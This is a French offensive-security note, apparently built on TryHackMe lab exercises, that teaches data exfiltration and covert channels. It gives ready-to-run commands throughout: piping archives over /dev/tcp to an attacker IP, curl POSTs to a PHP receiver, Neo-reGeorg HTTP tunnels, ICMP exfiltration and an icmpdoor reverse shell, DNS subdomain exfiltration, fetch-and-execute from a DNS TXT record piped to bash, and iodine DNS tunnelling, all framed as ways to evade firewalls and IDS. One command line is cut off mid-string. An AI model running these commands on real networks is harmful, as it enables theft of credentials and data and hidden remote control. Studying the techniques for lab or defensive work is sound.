# collection / exfiltration

Consiste à Transférer des données sensibles ou confidentielles en dehors du réseau d'une organisation.

## 💾 **Données exfiltrées** 

* Noms d'utilisateur et mots de passe ou toute information d'authentification.
* Détails de comptes bancaires.
* Décisions stratégiques commerciales.
* Clés cryptographiques.
*  des données personnelles (clients et employé).
* Données de code de projet.

## ❌ **Techniques utilisées** 

* **Ingénierie sociale et phishing** : Utilisation de tactiques trompeuses pour inciter les utilisateurs à divulguer volontairement leurs informations.
* **Téléchargements vers des appareils non sécurisés ou externes** : Copie de données vers des périphériques non surveillés ou des appareils externes tels que des clés USB ou des disques durs.
* **Prévention** :
  * Utilisation de systèmes de détection d'intrusion (IDS) pour surveiller le trafic réseau et détecter les activités suspectes.
  * Mise en place de pare-feux de nouvelle génération (NGFW) pour bloquer les tentatives d'exfiltration de données et limiter l'accès non autorisé.
  * Sensibilisation et formation des utilisateurs pour reconnaître les tactiques d'ingénierie sociale et éviter les pièges de phishing.
  * Adoption de politiques de sécurité strictes concernant la gestion des données et l'accès aux informations sensibles.

## 🚳 TCP Socket

{% hint style="info" %}
Le client initie la connexion en envoyant une demande de connexion au serveur. Le serveur répond en acceptant la demande, établissant ainsi une connexion. Une fois la connexion établie, les deux parties peuvent s'échanger des données de manière fiable et ordonnée. Après la transmission des données, la connexion est fermée.
{% endhint %}

<figure><img src="https://2405813983-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FY9Ji0LMTnIq0SKF8JfQn%2Fuploads%2F4HZs5E5hIpEKam5O3qwq%2FTCP-socket.png?alt=media&#x26;token=9338a8dc-32f1-48cc-a3ba-1ed3003b3eed" alt=""><figcaption></figcaption></figure>

{% hint style="danger" %}

* Utilisation de port NON - standart (éviter les systèmes de détection et les pare-feu)
* Donc plus facilement repérable
* &#x20;techniques d'encodage et d'archivage&#x20;
  {% endhint %}

**Ecouteur (machine attaquante)**

Choisissons le port 8080 pour notre écouteur :

```bash
nc -lvp 8080 > /tmp/task4-creds.data # fichier où on va stocker les données
```

**Exfiltration des données via socket TCP (machine cible)**

```bash
tar zcf - task4/ | base64 | dd conv=ebcdic > /dev/tcp/192.168.0.133/8080
```

Explication de la commande :

1. `tar zcf - task4/` : Crée une archive compressée de la chaîne de dossiers `task4/`.
2. `base64` : Convertit le fichier tar en représentation base64.
3. `dd conv=ebcdic` : Convertit les données en encodage EBCDIC.
4. `> /dev/tcp/attaquant/8080` : Envoie les données via une connexion TCP à l'adresse et au port spécifiés.

**Conversion des données reçues à leur état d'origine**

Utilisez l'outil `dd` pour convertir les données reçues en ASCII, puis décodez-les avec `base64` :

```bash
cd /tmp/
dd conv=ascii if=task4-creds.data | base64 -d > task4-creds.tar
```

`dd conv=ascii if=task4-creds.data` : Convertit les données reçues en représentation ASCII.

`base64 -d` : Décode les données base64.

**Extraction des fichiers de l'archive tar**:

```bash
tar xvf task4-creds.tar
```

`tar xvf task4-creds.tar` : Extrait le contenu de l'archive.

## 🚨 SSH&#x20;

{% hint style="info" %}
établit un canal sécurisé, ce qui signifie que toutes les données transmises sont chiffrées, rendant l'interception et l'analyse du trafic plus difficiles.
{% endhint %}

<figure><img src="https://2405813983-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FY9Ji0LMTnIq0SKF8JfQn%2Fuploads%2FZfsKdadAKbDoA7Inn6fj%2F2024-05-25_16-44.png?alt=media&#x26;token=128541cd-dad6-49ba-8178-a4f8d1aa581d" alt=""><figcaption></figcaption></figure>

{% hint style="success" %}
Sécurité élevée grâce au chiffrement
{% endhint %}

{% hint style="danger" %}
les pare-feu peuvent bloquer les connexions SSH sortantes.
{% endhint %}

#### Exfiltration (cible)

* Utilisation de la commande `tar` pour archiver les données :

  ```bash
  tar cf - task5/ | ssh attack-user@IP-attack "cd /tmp/; tar xpf -"
  ```
* **Archivage des Données** : Utilisation de `tar cf - task5/` pour créer une archive de répertoire `task5`.
* **Transmission via SSH** : La commande `ssh thm@jump.thm.com "cd /tmp/; tar xpf -"` permet de transférer l'archive et de l'extraire directement dans le répertoire `/tmp/` de la machine attaquante.

{% hint style="warning" %}
Dans le répertoire **/tmp** automatiquement ! Pas besoins de **nc**
{% endhint %}

## 🚧 HTTP POST&#x20;

{% hint style="success" %}

### **Pourquoi utiliser HTTP POST ?**

* **difficile à détecter !**
* **Les requêtes POST ne sont jamais mises en cache** : ce qui réduit les traces laissées.
* **Les requêtes POST ne restent pas dans l'historique du navigateur** : elles sont plus discrètes.
* **Les requêtes POST ne peuvent pas être mises en favori** : elles sont moins susceptibles d'être examinées plus tard.
* **Les requêtes POST n'ont pas de restrictions sur la longueur des données** : ce qui permet de transférer de grandes quantités de données.
  {% endhint %}

{% hint style="danger" %}
Données en clair car **HTTP**

Vous pouvez utilisez **curl** avec des URL **HTTPS** pour exfiltrer les données en toute sécurité.
{% endhint %}

Démonstration :&#x20;

`/var/log/apache2/access.log` (enregistre toutes les requêtes HTTP reçues par le serveur)

```plaintext
10.10.198.13 - - [22/Apr/2022:12:03:11 +0100] "GET /example.php?file=dGhtOnRyeWhhY2ttZQo= HTTP/1.1" 200 147 "-" "curl/7.68.0"
10.10.198.13 - - [22/Apr/2022:12:03:25 +0100] "POST /example.php HTTP/1.1" 200 147 "-" "curl/7.68.0"
```

* La première ligne montre une requête GET avec un paramètre `file` contenant des données encodées en base64.
* La seconde ligne montre une requête POST, mais elle ne révèle pas les données envoyées.

### 🔐 Fonctionnement&#x20;

{% hint style="success" %}
La cible encode et envoi les données au serveurs

Le serveur web compromis reçoit des données via une requête POST, les enregistre dans un fichier, puis les décode pour extraire le contenu archivé.

L'attaquant les récupères
{% endhint %}

<img src="https://2405813983-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FY9Ji0LMTnIq0SKF8JfQn%2Fuploads%2FxjGvKsSv8MHzybw545Y5%2Ffile.excalidraw.svg?alt=media&#x26;token=93f97cee-0cbd-4794-b03a-be87ec26619c" alt="" class="gitbook-drawing">

***

### ✏️ **Exemple**

1. **Sur le serveur web** compromis (attaquant)

Configurez un serveur web (Apache ou Nginx) et créez un fichier PHP pour gérer les requêtes POST.

{% code title="contact.php" %}

```php
<?php 
if (isset($_POST['file'])) {
        $file = fopen("/tmp/http.bs64","w");
        fwrite($file, $_POST['file']);
        fclose($file);
}
?>
```

{% endcode %}

* Ce code crée un fichier `/tmp/http.bs64` et y écrit le contenu envoyé via une requête POST.

#### Sur la victime&#x20;

Envoyer les données avec une requête POST via `curl`.

```bash
curl --data "file=$(tar zcf - task6 | base64)" http://web.thm.com/contact.php
```

* `tar zcf - task6` : Compresse le dossier task6.&#x20;
* `base64` : Encode le contenu compressé en base64.&#x20;
* `curl --data` : Envoie les données encodées via une requête POST à contact.php.

**sur le serveur web de l'attaquant** :

Vérifiez et décodez les données reçues.

* Si le fichier `http.bs64` contient des espaces à la place des `+` (caractères), utilisez `sed` pour les corriger.
* Décodez le fichier base64 et extrayez le contenu archivé.

```bash
sudo sed -i 's/ /+/g' /tmp/http.bs64
cat /tmp/http.bs64 | base64 -d | tar xvfz -
```

***

### 🚫 HTTP Tunneling&#x20;

Le but est de permettre à une machine externe d'accéder à des ressources situées sur la machine interne, qui n'est pas accessible directement depuis Internet.&#x20;

Le tunnel HTTP est utilisé pour établir une connexion sécurisée entre ces deux machines, en permettant le transfert sécurisé de données via le protocole HTTP.

{% hint style="success" %}
**Communication sécurisée**&#x20;

**Contournement des restrictions réseau**&#x20;

**Transfert de données sécurisé**&#x20;
{% endhint %}

{% hint style="danger" %}
**Dépendance à un serveur intermédiaire**
{% endhint %}

### ✏️ Exemple&#x20;

* La machine attaquante (votre machine)
* un serveur web intermédiaire (accessible depuis Internet) : `uploader.thm.com`
* la machine cible (la machine dont vous voulez récupérer les données, mais qui est en local). `app.thm.com`

<img src="https://2405813983-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FY9Ji0LMTnIq0SKF8JfQn%2Fuploads%2FHBNSB3tSDlUKWjFsIjUq%2Ffile.excalidraw.svg?alt=media&#x26;token=b2336f8e-5f43-4d78-a277-1badda33d113" alt="" class="gitbook-drawing">

## 🗝️ **Outil Neo-reGeorg**

Neo-reGeorg est un outil utilisé pour établir des tunnels HTTP, permettant ainsi de contourner les restrictions d'accès réseau. Voici comment l'utiliser :

**Génération de Fichiers Clients** :

* Utilisez un outil comme[ **Neo-reGeorg**](https://github.com/L-codes/Neo-reGeorg) pour générer un fichier client encrypté. Ce fichier client agira comme un **tunnel sécurisé** entre la machine **attaquante** et le serveur web **intermédiaire**.

  ```bash
  python3 neoreg.py generate -k thm
  ```

**Téléversement du Fichier Client** :

* Téléversez le fichier client généré (par exemple, `tunnel.php`) sur votre serveur web accessible depuis Internet (`uploader.thm.com`), il agira comme un point de transit pour vos communications.

**Connexion au Client Tunnel** :

* Utilisez Neo-reGeorg pour vous connecter au client tunnel en spécifiant l'URL où vous avez téléversé le fichier client. Cela crée un canal de communication sécurisé entre votre machine attaquante et le serveur web intermédiaire. Par exemple :

  ```bash
  python3 neoreg.py -k thm -u http://10.10.189.106/uploader/files/tunnel.php
  ```

<figure><img src="https://2405813983-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FY9Ji0LMTnIq0SKF8JfQn%2Fuploads%2FUc2i3X4kw1huvdCuoakh%2Ffichier.png?alt=media&#x26;token=ce6c138f-128c-4b1c-81f1-f8a99cb03909" alt=""><figcaption></figcaption></figure>

* Le serveur SOCKS5 a démarré et écoute sur l'adresse 127.0.0.1 (votre propre machine) sur le port&#x20;
* 1080\. Il affiche l'URL du tunnel, qui est le point d'entrée du tunnel HTTP établi avec le serveur web intermédiaire (uploader.thm.com).&#x20;
* Cette URL vous permet de spécifier où se trouve le tunnel pour vous connecter et commencer à utiliser le tunnel pour acheminer le trafic HTTP.

**Utilisation du Tunnel HTTP** :

* Une fois connecté au client tunnel, vous pouvez utiliser le tunnel HTTP comme un proxy local sur votre machine. Il écoute sur localhost (127.0.0.1) sur le port 1080.&#x20;
* Cela signifie que vous pouvez envoyer des requêtes HTTP via ce tunnel, qui seront ensuite acheminées vers le serveur web intermédiaire.

1. **Accès aux Machines Internes** :
   * Pour accéder à une machine interne (par exemple, `app.thm.com`) via le tunnel HTTP, utilisez des outils comme `curl` avec l'argument `--socks5`. Par exemple :

     ```bash
     curl --socks5 127.0.0.1:1080 http://172.20.0.121:80
     ```

En suivant ces étapes, vous pourrez établir un tunnel HTTP sécurisé pour contourner les restrictions d'accès réseau et communiquer avec des machines internes depuis des machines externes.

***

## 💿 ICMP&#x20;

Les paquets ICMP sont souvent utilisés pour tester la connectivité et diagnostiquer les problèmes réseau.&#x20;

L'en-tête d'un paquet ICMP offre une petite zone où des données peuvent être incluses.

{% hint style="success" %}

* Protocole standart, donc pas bloqué par le pare-feu et&#x20;
* faible volume de trafic
  {% endhint %}

{% hint style="danger" %}

* quantité limitée
* volumes élevés de trafic ICMP peuvent encore être détectés
  {% endhint %}

***

### 🔌 **ICMP exfiltration**

{% hint style="info" %}
Exfiltrer des données en les encapsulant dans des paquets ICMP et en les envoyant à un serveur de destination.
{% endhint %}

&#x20;**Metasploit**&#x20;

* Lancez le framework Metasploit et sélectionnez le module `icmp_exfil`.
* Définissez l'option `BPF_FILTER` pour filtrer les paquets ICMP à l'exclusion de ceux provenant de l'adresse IP de l'attaquant.

```bash
use auxiliary/server/icmp_exfil
set BPF_FILTER icmp and not src ATTACKBOX_IP
```

**Configurer l'Interface Réseau** pour écouter le trafic ICMP **:**

```vbnet
set INTERFACE eth0
run # démarrer l'écoute
```

**Envoyer un Paquet de Déclenchement  :**&#x20;

{% hint style="info" %}
Le "BOF" (Beginning of File) et le "EOF" (End of File) sont des marqueurs utilisés pour indiquer le début et la fin d'un ensemble de données à transférer.
{% endhint %}

* Depuis la machine de l'attaquant, utilisez [**nping** ](#user-content-fn-1)[^1]pour envoyer le déclencheur de début de fichier (BOF) à la victime.

```c
sudo nping --icmp -c 1 ATTACKBOX_IP --data-string "BOFfile.txt"
```

**Envoyer des Données et un Paquet EOF :**

* Envoyez les paquets de données souhaités depuis la machine de l'attaquant en utilisant nping.

```c
sudo nping --icmp -c 1 ATTACKBOX_IP --data-string "admin:password"
sudo nping --icmp -c 1 ATTACKBOX_IP --data-string "EOF"
```

1. **Réception des Données dans Metasploit :**
   * Surveillez le framework Metasploit pour les paquets ICMP entrants.
   * À la réception du déclencheur EOF, enregistrez les données reçues sur le disque.

***

### 🏧 ICMP C2 Communication - exécution de commande

{% hint style="info" %}
Exécuter des commandes sur une machine cible via des paquets ICMP, généralement dans le cadre d'un contrôle à distance.
{% endhint %}

Comment exécuter des commandes sur une machine cible via le protocole ICMP ?&#x20;

{% embed url="<https://github.com/krabelize/icmpdoor>" %}

{% hint style="info" %}

* ICMPDoor est un reverse-shell open-source écrit en Python3 et scapy.

* L'outil utilise le même concept que celui discuté précédemment, où un attaquant utilise la section "**Data**" à l'intérieur du paquet ICMP.&#x20;

* La différence est que l'attaquant envoie une commande à exécuter sur la machine cible.

* &#x20;Une fois la commande exécutée, la machine cible envoie la sortie de l'exécution dans le paquet ICMP dans la section "Data".
  {% endhint %}

* Sur la cible, établir un canal de communication via ICMP avec la machine attaquante :

```bash
sudo icmpdoor -i eth0 -d Adresse_IP_Attaquante
```

Assurez-vous de spécifier l'interface à utiliser pour la communication et l'adresse IP de l'attaquant.

* Sur la machine attaquante, lancer le programme `icmp-cnc`, afin d'établir une connexion avec la cible via le protocole ICMP.

```bash
sudo icmp-cnc -i eth1 -d Adresse_IP_Cible
shell: hostname # rentrer vos commandes
```

Vous recevrez alors la réponse de la commande exécutée sur la machine Cible.

Ce processus vous permet d'établir une communication bidirectionnelle avec la machine Cible via le protocole ICMP, permettant ainsi l'exécution de commandes à distance.

***

## 🛜 DNS

Les données seronts exfiltrés via le domaine enn passant par les sous domaines pour atteindre le domaine controlé par l'attaquant

### Explication&#x20;

1. **Enregistrement du Domaine :** L'attaquant enregistre un domaine, par exemple `tunnel.com`.
2. **Configuration du Serveur DNS :** L'attaquant configure [l'enregistrement NS](#user-content-fn-2)[^2] de `tunnel.com` pour pointer vers un serveur contrôlé par l'attaquant.
3. **Envoi des Données :** Le malware ou l'attaquant envoie des données sensibles sous forme de sous-domaines de `tunnel.com` (ex. `passw0rd.tunnel.com`).
4. **Transmission des Requêtes DNS :** Les requêtes DNS passent par le serveur DNS local puis par Internet.
5. **Réception des Données :** Le serveur DNS de l'attaquant reçoit les requêtes DNS contenant les données exfiltrées.
6. **Extraction des Données :** L'attaquant extrait les informations des noms de domaine.

{% hint style="info" %}
Exigence :&#x20;

Nom de domaine (attaquant)

Configuré les enregiistrement DNS

serveur DNS configuré&#x20;
{% endhint %}

{% hint style="success" %}

* Utilisation courante du protocole DNS, ce qui rend la détection difficile.
* Peut contourner les pare-feu et les politiques de sécurité car le trafic DNS est souvent autorisé.
  {% endhint %}

{% hint style="danger" %}

* Taille limité (FQDN - 255 caractères, Sous domaine 63 caractères)
* Faible débit de transfert de données en raison des limitations du protocole DNS.
* Risque de détection si les requêtes DNS anormales sont surveillées de près.
* Nécessite un contrôle sur un serveur DNS pour traiter les requêtes spéciales, ce qui peut être difficile à obtenir dans certains scénarios.
  {% endhint %}

### 🖥️ Modification des Enregistrements DNS

Pour réaliser l'exfiltration de données via DNS, nous allons utiliser le domaine `tunnel.com`. Vous devrez mettre à jour les enregistrements DNS pour ajouter un enregistrement NS pointant vers votre machine de l'attaque .

***

### 🖱️ Exfiltration de Données Manuelle

Supposons que nous avons un fichier `creds.txt` contenant des données sensibles. Voici les étapes pour exfiltrer ce fichier via le protocole DNS :

#### Encodage des Données sur la victime

```
cat task9/credit.txt | base64
```

#### Diviser une chaine trop grande

**Préparation de plusieurs requêtes DNS courtes**

Utilisez la commande `fold` pour couper la chaîne en segments de 18 caractères, ce qui est suffisamment court pour respecter les limitations des sous-domaines.

```sh
cat task9/credit.txt | base64 | tr -d "\n" | fold -w18 | sed -r 's/.*/&.att.tunnel.com/'
```

**Préparation d'une seule requête DNS longue**

**Fusionner tous les segments en une seule chaîne et ajouter le suffixe de domaine**

```sh
cat task9/credit.txt | base64 | tr -d "\n" | fold -w18 | sed 's/.*/&./' | tr -d "\n" | sed s/$/att.tunnel.com/
```

#### Capture des Requêtes DNS

**Sur la machine de l'attaquant, capturez le trafic réseau pour les paquets UDP sur le port 53.**

```sh
 sudo tcpdump -i eth0 udp port 53 -v
```

#### Envoi des Données

**Envoyez les données encodées comme sous-domaine en utilisant la commande `dig`.**

```sh
cat task9/credit.txt | base64 | tr -d "\n" | fold -w18 | sed 's/.*/&./' | tr -d "\n" | sed s/$/att.tunnel.com/ | awk '{print "dig +short " $1}' | bash
```

#### Extraction des Données

6. **Nettoyez et décodez les données reçues.**

   ```sh
   echo "TmFtZTogVEhNLXVzZX.IKQWRkcmVzczogMTIz.NCBJbnRlcm5ldCwgVE.hNCkNyZWR
   ```

Elle prend la chaîne encodée en Base64 la réassemble, puis la décode en texte lisible.

***

### 😪 DNS C2 Communication - exécution de commande

Les frameworks de communication C2 utilisent le protocole DNS pour envoyer des commandes et recevoir des résultats. Ils peuvent aussi utiliser des enregistrements TXT DNS pour exécuter des scripts ou télécharger des fichiers sur une machine victime. Voici comment exécuter un script bash via DNS en ajoutant un enregistrement TXT au domaine `tunnel.com`.

#### Étapes

1. **Créer et encoder le script :**
   * Créez le script et enregistrez le sous `/tmp/script.sh` :

     ```bash
     #!/bin/bash 
     ping -c 1 test.thm.com # vous pouvez mettre n'importe quel script 
     ```
   * Encodez le script en Base64 :

     ```sh
     cat /tmp/script.sh | base64
     ```

     * Résultat attendu : `IyEvYmluL2Jhc2gKcGluZyAtYyAxIHRlc3QudGhtLmNvbQo=`
2. **Ajouter l'enregistrement TXT DNS :**
   * Accédez à l'interface web de gestion DNS
   * Ajoutez un enregistrement TXT :
     * Nom : `script.tunnel.com`
     * Type : TXT
     * Valeur : `IyEvYmluL2Jhc2gKcGluZyAtYyAxIHRlc3QudGhtLmNvbQo=`
3. **Vérifier l'enregistrement TXT :**
   * Utilisez la commande `dig` pour vérifier :

     ```sh
     dig +short -t TXT script.tunnel.com
     ```

     * Résultat attendu : `"IyEvYmluL2Jhc2gKcGluZyAtYyAxIHRlc3QudGhtLmNvbQo="`
4. **Exécuter le script :**
   * Récupérez et exécutez le script :

     ```sh
     dig +short -t TXT script.tunnel.com | tr -d "\"" | base64 -d | bash
     ```

     * Cette commande :
       * Récupère l'enregistrement TXT avec `dig`.
       * Supprime les guillemets doubles avec `tr -d "\""`.
       * Décode le contenu Base64 avec `base64 -d`.
       * Exécute le script avec `bash`.

***

### 🤕 Tunneling DNS (TCP over DNS)

#### Flux de Données en Tunneling DNS

Nous allons établir un canal de communication via DNS en utilisant l'outil **iodine**. Nous allons configurer une communication entre les machines attaquante, Intermediary et Target pour accéder à un serveur web interne sur Target.

{% hint style="info" %}
**iodined - exécuter coté serveur**

**iodine - exécuter sur la cible ou proxy**
{% endhint %}

{% hint style="danger" %}
**Résumé des étapes**

* **Établir un canal de communication via DNS (MAJ des** enregistrements DNS pour pointer vers la machine attaquante + serveur iodined sur l'attaquant + connectons le client iodine sur l'intermédiaire)
* **Vérification du trafic DNS (tcpdump)**
* **Envoi des données à travers le tunnel DNS sur l'intermédiaire (dig)**
* **accéder aux ressources du réseau interne (Dynamic port forwarding + connexion ssh + proxychains)**
  {% endhint %}

#### Étapes de Configuration

1. **Mettre à jour les enregistrements DNS :**
   * Assurez-vous de créer un nouvel enregistrement NS pointant vers votre machine attaquante.
2. **Lancer le serveur iodined sur** attaquant&#x65;**:**
   * Exécutez iodined sur attaquante:

     ```sh
     sudo iodined -f -c -P thmpass 10.1.1.1/24 att.tunnel.com
     ```

     * Explication des arguments :
       * `-f` : Exécute le serveur en avant-plan.
       * `-c` : Ignore la vérification de l'adresse IP et du port du client pour chaque requête DNS.
       * `-P` : Définit un mot de passe pour l'authentification.
       * `10.1.1.1/24` : Définit l'IP du réseau pour a nouvelle interface `dns0`.
       * `att.tunnel.com` : Le serveur de noms configuré.
3. **Connecter le client iodine sur Intermédiaire :**
   * Sur **Intermédiaire** , connectez-vous au serveur iodined :

     ```sh
     sudo iodine -P thmpass att.tunnel.com
     ```

     * Une fois la connexion établie, l'interface `dns0` est créée avec l'IP `10.1.1.2`.

#### Vérification du Trafic DNS

Vous pouvez confirmer que tout le trafic passe par le protocole DNS en utilisant `tcpdump` sur la machine Attacker :

```sh
sudo tcpdump -i eth0 udp port 53 -v
```

En suivant ces étapes, vous établissez un tunnel DNS permettant de faire passer des communications réseau par le protocole DNS, même si les autres protocoles sont bloqués par le pare-feu.

**Envoi des données à travers le tunnel DNS sur l'intermediaire  :**

* Envoyez chaque morceau de données via des requêtes DNS. Par exemple, utilisez `dig` pour envoyer chaque morceau de données :

  ```arduino
  while read -r line; do dig +short -t TXT "$line".att.tunnel.com; done < split_data.txt
  ```

***

#### **Connexion SSH avec redirection de port dynamique (pour acceder a des ressources du réseaux interne, par exemple la cible)**&#x20;

* Ouvrez une nouvelle terminale sur L'attaquante et connectez-vous via SSH à **Intermédiaire** :

  ```sh
   ssh thm@10.1.1.2 -4 -f -N -D 1080
  ```

  * Explication des arguments :
    * `-4` : Force l'utilisation de l'IPv4.
    * `-f` : Met SSH en arrière-plan.
    * `-N` : N'exécute aucune commande sur la machine distante.
    * `-D 1080` : Configure le port 1080 pour la redirection dynamique.

**Utiliser la connexion SSH comme proxy pour accéder à Target :**

* Configurez ProxyChains ou Firefox sur Attacker pour utiliser `127.0.0.1:1080` comme proxy.
* Exemple avec ProxyChains :

  ```sh
  proxychains curl http://192.168.0.100/demo.php
  ```
* Ou directement avec `curl` :

  ```sh
  curl --socks5 127.0.0.1:1080 http://192.168.0.100/demo.php
  ```

[^1]: un outil open-source faisant partie de la suite d'outils Nmap. Il permet de générer et d'envoyer des paquets réseau sur un réseau, tout en offrant des fonctionnalités avancées telles que la personnalisation des données dans les paquets. Dans le contexte de cette exfiltration de données ICMP, "nping" est utilisé pour envoyer des paquets ICMP contenant les marqueurs BOF et EOF ainsi que les données à transmettre.

[^2]: Un enregistrement NS (Name Server) est un type de ressource DNS qui spécifie les serveurs de noms autoritaires pour un domaine donné. Ces serveurs de noms sont responsables de répondre aux requêtes DNS pour ce domaine et de fournir les informations nécessaires pour résoudre les noms de domaine en adresses IP.&#x20;